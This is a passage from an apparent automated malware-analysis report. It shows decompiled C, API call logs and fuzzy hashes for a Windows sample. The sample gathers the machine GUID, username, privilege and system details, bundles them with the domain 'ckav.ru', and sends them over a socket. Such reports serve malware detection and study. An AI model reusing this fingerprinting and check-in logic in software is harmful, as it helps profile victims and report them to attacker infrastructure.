							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21); // executed
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10;
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					E004058D4( *0x49fde0, E004063B2(0, _t53, _t79));
					E004058D4( *0x49fde0, E004060BD(_t79)); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e9e
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: ea15dbf965de6c39536eadaef71d36bb12a2dd1a9f609459e064ebb7523f79d3
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: ea15dbf965de6c39536eadaef71d36bb12a2dd1a9f609459e064ebb7523f79d3
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Uniqueness

Uniqueness Score: -1.00%

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C03(struct HINSTANCE__* _a4, char _a8) {
				_Unknown_base(*)()* _t5;
				void* _t6;

				E004031E5(_t6, 0, 0xceb18abc, 0, 0);
				_t1 =  &_a8; // 0x403173
				_t5 = GetProcAddress(_a4,  *_t1); // executed
				return _t5;
			}

0x00402c10
0x00402c15
0x00402c1b
0x00402c1e

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: d488a9f9e3e4912de19e98427526cb377b3f09abeed86899b322f2e70aeae98a
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: d488a9f9e3e4912de19e98427526cb377b3f09abeed86899b322f2e70aeae98a
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BAB(void* _a4) {
				void* _t3;
				char _t5;

				if(_a4 != 0) {
					_t5 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t5;
				}
				return _t3;
			}

0x00402bb2
0x00402bc0
0x00000000
0x00402bc0
0x00402bc7

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction ID: 8dd5a347e09044be93d5ac0bfd75615970d35e99714971ab129ae27a0189db5c
Opcode Fuzzy Hash: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction Fuzzy Hash: 7FC01235000A08EBCB001FD0E90CBE93F6CAB8838AF808020B60C480A0C6B49090CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

